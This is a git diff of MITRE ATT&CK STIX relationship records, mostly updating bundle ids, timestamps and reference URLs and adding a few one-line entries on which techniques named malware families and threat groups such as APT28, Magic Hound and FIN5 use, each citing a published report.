+++ b/enterprise-attack/relationship/relationship--1035fe41-56b9-4966-bf3b-109ae950c908.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c4f0a175-5f83-4a44-958e-3d6f033b6adc",
+    "id": "bundle--1284a1f9-3b8e-4a6d-b500-c17c5be469c8",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1035fe41-56b9-4966-bf3b-109ae950c908",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MoonWind has a command to return a list of running processes.",
             "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1",
diff --git a/enterprise-attack/relationship/relationship--1036833a-1d4c-4d9e-b716-1e52606ab684.json b/enterprise-attack/relationship/relationship--1036833a-1d4c-4d9e-b716-1e52606ab684.json
index 22c668cd58..b2c2b04b5e 100644
--- a/enterprise-attack/relationship/relationship--1036833a-1d4c-4d9e-b716-1e52606ab684.json
+++ b/enterprise-attack/relationship/relationship--1036833a-1d4c-4d9e-b716-1e52606ab684.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2cf9cb70-2202-4409-811f-4c7fd500f65a",
+    "id": "bundle--87d2f91d-3408-418d-b93f-4c3403097874",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1036833a-1d4c-4d9e-b716-1e52606ab684",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.038Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT28 has performed timestomping on victim files.",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
diff --git a/enterprise-attack/relationship/relationship--103f1ad4-feec-4be3-9da7-ee0b2503c318.json b/enterprise-attack/relationship/relationship--103f1ad4-feec-4be3-9da7-ee0b2503c318.json
index 556d224419..8c3ef2ccf8 100644
--- a/enterprise-attack/relationship/relationship--103f1ad4-feec-4be3-9da7-ee0b2503c318.json
+++ b/enterprise-attack/relationship/relationship--103f1ad4-feec-4be3-9da7-ee0b2503c318.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c6089c78-cdc1-422e-a5a4-3b1133d95900",
+    "id": "bundle--1bda4553-095e-48c9-a323-0a49a1d07662",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--103f1ad4-feec-4be3-9da7-ee0b2503c318",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "C2 traffic from ADVSTORESHELL is encrypted, then encoded with Base64 encoding.",
             "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
@@ -17,7 +17,7 @@
                 {
                     "source_name": "Kaspersky Sofacy",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.",
-                    "url": "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
+                    "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--10619fa8-c479-4b61-9aac-ee08f00114d1.json b/enterprise-attack/relationship/relationship--10619fa8-c479-4b61-9aac-ee08f00114d1.json
index 65ce79a91a..f04f962040 100644
--- a/enterprise-attack/relationship/relationship--10619fa8-c479-4b61-9aac-ee08f00114d1.json
+++ b/enterprise-attack/relationship/relationship--10619fa8-c479-4b61-9aac-ee08f00114d1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bc6fe7c2-ba6b-4a0f-8ec6-5f4a4436f680",
+    "id": "bundle--d5d3ba52-bc25-44b7-b89d-9f98011492bb",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--10619fa8-c479-4b61-9aac-ee08f00114d1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ELMER is capable of performing directory listings.",
             "source_ref": "malware--3cab1b76-2f40-4cd0-8d2c-7ed16eeb909c",
diff --git a/enterprise-attack/relationship/relationship--106aae81-fab1-42b3-97b0-4f0c1d67c896.json b/enterprise-attack/relationship/relationship--106aae81-fab1-42b3-97b0-4f0c1d67c896.json
index 15834b2f10..e73b3f0e57 100644
--- a/enterprise-attack/relationship/relationship--106aae81-fab1-42b3-97b0-4f0c1d67c896.json
+++ b/enterprise-attack/relationship/relationship--106aae81-fab1-42b3-97b0-4f0c1d67c896.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5ffcf732-b6f2-4ebb-a779-4b2b5dbf271f",
+    "id": "bundle--9cd5401e-619a-45c6-9dea-6a7dd0355e2c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--106aae81-fab1-42b3-97b0-4f0c1d67c896",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Emissary injects its DLL file into a newly spawned Internet Explorer process.",
             "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1",
diff --git a/enterprise-attack/relationship/relationship--1082a68e-549b-47d5-9eb3-e719f01ce42b.json b/enterprise-attack/relationship/relationship--1082a68e-549b-47d5-9eb3-e719f01ce42b.json
index 1e49d0a2ab..ff81dac14e 100644
--- a/enterprise-attack/relationship/relationship--1082a68e-549b-47d5-9eb3-e719f01ce42b.json
+++ b/enterprise-attack/relationship/relationship--1082a68e-549b-47d5-9eb3-e719f01ce42b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1c6855a2-f413-4374-9e2a-539407d0171c",
+    "id": "bundle--18669a54-9d0b-45df-a7e8-ad3ea931c595",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1082a68e-549b-47d5-9eb3-e719f01ce42b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "H1N1 kills and disables services for Windows Firewall, Windows Security Center, and Windows Defender.",
             "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd",
diff --git a/enterprise-attack/relationship/relationship--1088fc27-2de5-4b73-83fd-6741ab3ff4d6.json b/enterprise-attack/relationship/relationship--1088fc27-2de5-4b73-83fd-6741ab3ff4d6.json
index d3400bd7bb..6f8d83ee34 100644
--- a/enterprise-attack/relationship/relationship--1088fc27-2de5-4b73-83fd-6741ab3ff4d6.json
+++ b/enterprise-attack/relationship/relationship--1088fc27-2de5-4b73-83fd-6741ab3ff4d6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--65ea05b4-9e73-4236-b466-7aaac53afbc0",
+    "id": "bundle--f1247e59-2bcc-43d1-8c9d-95b31d43d38a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1088fc27-2de5-4b73-83fd-6741ab3ff4d6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "OwaAuth uses the filename owaauth.dll, which is a legitimate file that normally resides in <code>%ProgramFiles%\\Microsoft\\Exchange Server\\ClientAccess\\Owa\\Auth\\</code>; the malicious file by the same name is saved in <code>%ProgramFiles%\\Microsoft\\Exchange Server\\ClientAccess\\Owa\\bin\\</code>.",
             "source_ref": "malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5",
diff --git a/enterprise-attack/relationship/relationship--108a1655-faba-4016-a276-c224665cb5c4.json b/enterprise-attack/relationship/relationship--108a1655-faba-4016-a276-c224665cb5c4.json
index 63e3a251e7..7358a3a246 100644
--- a/enterprise-attack/relationship/relationship--108a1655-faba-4016-a276-c224665cb5c4.json
+++ b/enterprise-attack/relationship/relationship--108a1655-faba-4016-a276-c224665cb5c4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--005d687a-6d45-47ad-abfa-a75f7da5db09",
+    "id": "bundle--824052ad-3cf0-403c-a80c-f1afb461c130",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--108a1655-faba-4016-a276-c224665cb5c4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "gsecdump can dump Windows password hashes and LSA secrets.",
             "source_ref": "tool--b07c2c47-fefb-4d7c-a69e-6a3296171f54",
@@ -17,7 +17,7 @@
                 {
                     "source_name": "TrueSec Gsecdump",
                     "description": "TrueSec. (n.d.). gsecdump v2.0b5. Retrieved September 29, 2015.",
-                    "url": "http://www.truesec.com/Tools/Tool/gsecdump%20v2.0b5"
+                    "url": "https://www.truesec.se/sakerhet/verktyg/saakerhet/gsecdump%20v2.0b5"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--10c33088-630e-456d-ad0f-8a63be4d3946.json b/enterprise-attack/relationship/relationship--10c33088-630e-456d-ad0f-8a63be4d3946.json
index 6e3322ce14..e1e98060bc 100644
--- a/enterprise-attack/relationship/relationship--10c33088-630e-456d-ad0f-8a63be4d3946.json
+++ b/enterprise-attack/relationship/relationship--10c33088-630e-456d-ad0f-8a63be4d3946.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ebe23845-a0b1-41e4-afa6-fb17df53fe93",
+    "id": "bundle--75b4f49b-c846-4fec-bd87-646be8dbceac",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--10c33088-630e-456d-ad0f-8a63be4d3946",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Sykipot communicates using HTTPS and uses a custom encryption cipher to encrypt the HTTPS message body.",
             "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9",
diff --git a/enterprise-attack/relationship/relationship--10c6cc56-a028-4c2a-b24e-38d97fb4ebb7.json b/enterprise-attack/relationship/relationship--10c6cc56-a028-4c2a-b24e-38d97fb4ebb7.json
index 93c862fa26..1959f5bcc9 100644
--- a/enterprise-attack/relationship/relationship--10c6cc56-a028-4c2a-b24e-38d97fb4ebb7.json
+++ b/enterprise-attack/relationship/relationship--10c6cc56-a028-4c2a-b24e-38d97fb4ebb7.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--557e7855-7bf5-4098-97cb-cacb95588d1a",
+    "id": "bundle--7332133a-4683-4d49-b048-ba2fa76df357",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--10c6cc56-a028-4c2a-b24e-38d97fb4ebb7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "NetTraveler reports window names along with keylogger information to provide application context.",
             "source_ref": "malware--cafd0bf8-2b9c-46c7-ae3c-3e0f42c5062e",
diff --git a/enterprise-attack/relationship/relationship--10cc3288-d06c-456c-bc0e-b10a8c5abeaa.json b/enterprise-attack/relationship/relationship--10cc3288-d06c-456c-bc0e-b10a8c5abeaa.json
index 593675f820..414dd5082a 100644
--- a/enterprise-attack/relationship/relationship--10cc3288-d06c-456c-bc0e-b10a8c5abeaa.json
+++ b/enterprise-attack/relationship/relationship--10cc3288-d06c-456c-bc0e-b10a8c5abeaa.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--815bd095-b2f5-40b4-8a1e-62a4a9f16694",
+    "id": "bundle--b8bb9520-cc83-4e26-b8d3-74b0be809d13",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--10cc3288-d06c-456c-bc0e-b10a8c5abeaa",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.038Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT28 used other victims as proxies to relay command traffic, for instance using a compromised Georgian military email server as a hop point to NATO victims. The group has also used a tool that acts as a proxy to allow C2 even if the victim is behind a router.",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
diff --git a/enterprise-attack/relationship/relationship--11010986-1b4d-4158-b47d-bbff34306c98.json b/enterprise-attack/relationship/relationship--11010986-1b4d-4158-b47d-bbff34306c98.json
index bd2cc6bb74..a115e770cf 100644
--- a/enterprise-attack/relationship/relationship--11010986-1b4d-4158-b47d-bbff34306c98.json
+++ b/enterprise-attack/relationship/relationship--11010986-1b4d-4158-b47d-bbff34306c98.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8f044642-2c6c-440b-b0b7-fee20f144465",
+    "id": "bundle--aa886619-a7e0-47f8-98ec-68ee38e0467a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--11010986-1b4d-4158-b47d-bbff34306c98",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BADNEWS has a command to take a screenshot and send it to the C2 server.",
             "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
diff --git a/enterprise-attack/relationship/relationship--110690db-fd9b-425a-9269-ec082f0af3f9.json b/enterprise-attack/relationship/relationship--110690db-fd9b-425a-9269-ec082f0af3f9.json
new file mode 100644
index 0000000000..b6c1541a26
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--110690db-fd9b-425a-9269-ec082f0af3f9.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--addae9ef-b79b-455d-a36f-a75775d3bf69",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--110690db-fd9b-425a-9269-ec082f0af3f9",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Magic Hound has used PowerShell for execution.",
+            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
+            "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0",
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Magic Hound Feb 2017",
+                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--11247a95-272b-4ae2-8dae-2cd049328734.json b/enterprise-attack/relationship/relationship--11247a95-272b-4ae2-8dae-2cd049328734.json
index 79501c1c26..d66f25e203 100644
--- a/enterprise-attack/relationship/relationship--11247a95-272b-4ae2-8dae-2cd049328734.json
+++ b/enterprise-attack/relationship/relationship--11247a95-272b-4ae2-8dae-2cd049328734.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ede56b7c-2aa5-4947-a000-e3382d8f622d",
+    "id": "bundle--76db39a2-8f61-43c2-973f-aead2b6ee3b7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--11247a95-272b-4ae2-8dae-2cd049328734",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Remsec can perform DLL injection.",
             "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
diff --git a/enterprise-attack/relationship/relationship--114f98a4-6243-4a0c-a6c4-3e693a4f9b08.json b/enterprise-attack/relationship/relationship--114f98a4-6243-4a0c-a6c4-3e693a4f9b08.json
index 049adffa37..215bd47264 100644
--- a/enterprise-attack/relationship/relationship--114f98a4-6243-4a0c-a6c4-3e693a4f9b08.json
+++ b/enterprise-attack/relationship/relationship--114f98a4-6243-4a0c-a6c4-3e693a4f9b08.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e5c9e349-1752-457e-b674-71af9701b2b4",
+    "id": "bundle--afeb311a-e259-45f5-83e6-3ff37230ab3b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--114f98a4-6243-4a0c-a6c4-3e693a4f9b08",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT30 may have used the SHIPSHAPE malware to move onto air-gapped networks. SHIPSHAPE targets removable drives to spread to other systems by modifying the drive to use Autorun to execute or by hiding legitimate document files and copying an executable to the folder with the same name as the legitimate document.",
             "source_ref": "malware--b1de6916-7a22-4460-8d26-6b5483ffaa2a",
diff --git a/enterprise-attack/relationship/relationship--115562b8-9d7c-435e-af6e-0be6249742d0.json b/enterprise-attack/relationship/relationship--115562b8-9d7c-435e-af6e-0be6249742d0.json
index 37389b80ad..6496b78474 100644
--- a/enterprise-attack/relationship/relationship--115562b8-9d7c-435e-af6e-0be6249742d0.json
+++ b/enterprise-attack/relationship/relationship--115562b8-9d7c-435e-af6e-0be6249742d0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--cf3a1555-d547-4c1a-8527-7c07db9d02d0",
+    "id": "bundle--eb755c71-516c-4d1f-b9d2-0c4755c427f4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--115562b8-9d7c-435e-af6e-0be6249742d0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.067Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Several Lazarus Group malware families are capable of downloading and executing binaries from its C2 server.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
diff --git a/enterprise-attack/relationship/relationship--11874e26-e692-43da-bb54-760e51a4714f.json b/enterprise-attack/relationship/relationship--11874e26-e692-43da-bb54-760e51a4714f.json
index 1416ef92ef..3ab66a9861 100644
--- a/enterprise-attack/relationship/relationship--11874e26-e692-43da-bb54-760e51a4714f.json
+++ b/enterprise-attack/relationship/relationship--11874e26-e692-43da-bb54-760e51a4714f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0d0ae574-715e-4af0-b1e7-7333f1483046",
+    "id": "bundle--e376583c-1b84-4392-8feb-ebe577e6ffb6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--11874e26-e692-43da-bb54-760e51a4714f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "S-Type may save itself as a file named msdtc.exe, which is also the name of the legitimate Microsoft Distributed Transaction Coordinator service.",
             "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131",
diff --git a/enterprise-attack/relationship/relationship--11a7431f-416f-48de-a3c0-8782abdede63.json b/enterprise-attack/relationship/relationship--11a7431f-416f-48de-a3c0-8782abdede63.json
index 6825e646f9..afb3bc9614 100644
--- a/enterprise-attack/relationship/relationship--11a7431f-416f-48de-a3c0-8782abdede63.json
+++ b/enterprise-attack/relationship/relationship--11a7431f-416f-48de-a3c0-8782abdede63.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--14802741-4308-4600-8532-7896f382c6ec",
+    "id": "bundle--cef718a1-3262-408a-8320-796f8710e59d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--11a7431f-416f-48de-a3c0-8782abdede63",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "When it first starts, BADNEWS crawls the victim's local drives and collects documents with the following extensions: .doc, .docx, .pdf, .ppt, .pptx, and .txt.",
             "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
diff --git a/enterprise-attack/relationship/relationship--11bc3d01-fc44-415c-b5a3-5576f5cb6057.json b/enterprise-attack/relationship/relationship--11bc3d01-fc44-415c-b5a3-5576f5cb6057.json
index 100fdf450c..1114c39c8f 100644
--- a/enterprise-attack/relationship/relationship--11bc3d01-fc44-415c-b5a3-5576f5cb6057.json
+++ b/enterprise-attack/relationship/relationship--11bc3d01-fc44-415c-b5a3-5576f5cb6057.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--eacea6fb-aa47-42dc-8a4f-bc8a2560b395",
+    "id": "bundle--1b2e76ef-3db0-4a0c-82cd-461428cd748c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--11bc3d01-fc44-415c-b5a3-5576f5cb6057",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "T9000 searches removable storage devices for files with a pre-defined list of file extensions (e.g. *.doc, *.ppt, *.xls, *.docx, *.pptx, *.xlsx). Any matching files are encrypted and written to a local user directory.",
             "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3",
diff --git a/enterprise-attack/relationship/relationship--11de35bf-195d-4097-a27a-d2e2b7c433b3.json b/enterprise-attack/relationship/relationship--11de35bf-195d-4097-a27a-d2e2b7c433b3.json
new file mode 100644
index 0000000000..2ebc8923e2
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--11de35bf-195d-4097-a27a-d2e2b7c433b3.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--8d1e2a69-dc8f-4c5b-8503-4510d180ca45",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--11de35bf-195d-4097-a27a-d2e2b7c433b3",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "has communicated to its C2 server over port 8088.",
+            "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08",
+            "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0",
+            "external_references": [
+                {
+                    "source_name": "US-CERT Volgmer Nov 2017",
+                    "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--11ebf3ff-b184-4010-b238-951e041370db.json b/enterprise-attack/relationship/relationship--11ebf3ff-b184-4010-b238-951e041370db.json
new file mode 100644
index 0000000000..30bba8d30f
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--11ebf3ff-b184-4010-b238-951e041370db.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--b2d81e35-76e8-4c52-8b0f-84b49f2af4bb",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--11ebf3ff-b184-4010-b238-951e041370db",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT34 has a tool called CANDYKING to capture a screenshot of user's desktop.",
+            "source_ref": "intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6",
+            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Webinar Dec 2017",
+                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
+                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--11ed82c1-88af-4c23-860e-185505389288.json b/enterprise-attack/relationship/relationship--11ed82c1-88af-4c23-860e-185505389288.json
index e281f02b66..665ed4b94e 100644
--- a/enterprise-attack/relationship/relationship--11ed82c1-88af-4c23-860e-185505389288.json
+++ b/enterprise-attack/relationship/relationship--11ed82c1-88af-4c23-860e-185505389288.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--51ca055d-9891-48af-a4e2-48d4f534ef9a",
+    "id": "bundle--061e9364-74da-498a-a446-5ffbccc69add",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--11ed82c1-88af-4c23-860e-185505389288",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "XAgentOSX contains keylogging functionality that will monitor for active application windows and write them to the log, it can handle special characters, and it will buffer by default 50 characters before sending them out over the C2 infrastructure.",
             "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069",
diff --git a/enterprise-attack/relationship/relationship--11f6ad22-0293-47bd-95d1-34bf4ee1de9e.json b/enterprise-attack/relationship/relationship--11f6ad22-0293-47bd-95d1-34bf4ee1de9e.json
new file mode 100644
index 0000000000..a05b376060
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--11f6ad22-0293-47bd-95d1-34bf4ee1de9e.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--08fc6828-df71-4959-863b-ee2c5517e7e0",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--11f6ad22-0293-47bd-95d1-34bf4ee1de9e",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "FIN5 maintains access to victim environments by using Valid Accounts to access External Remote Services as well as establishing a backup RDP tunnel by using FLIPSIDE.",
+            "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022",
+            "target_ref": "attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a",
+            "external_references": [
+                {
+                    "source_name": "Mandiant FIN5 GrrCON Oct 2016",
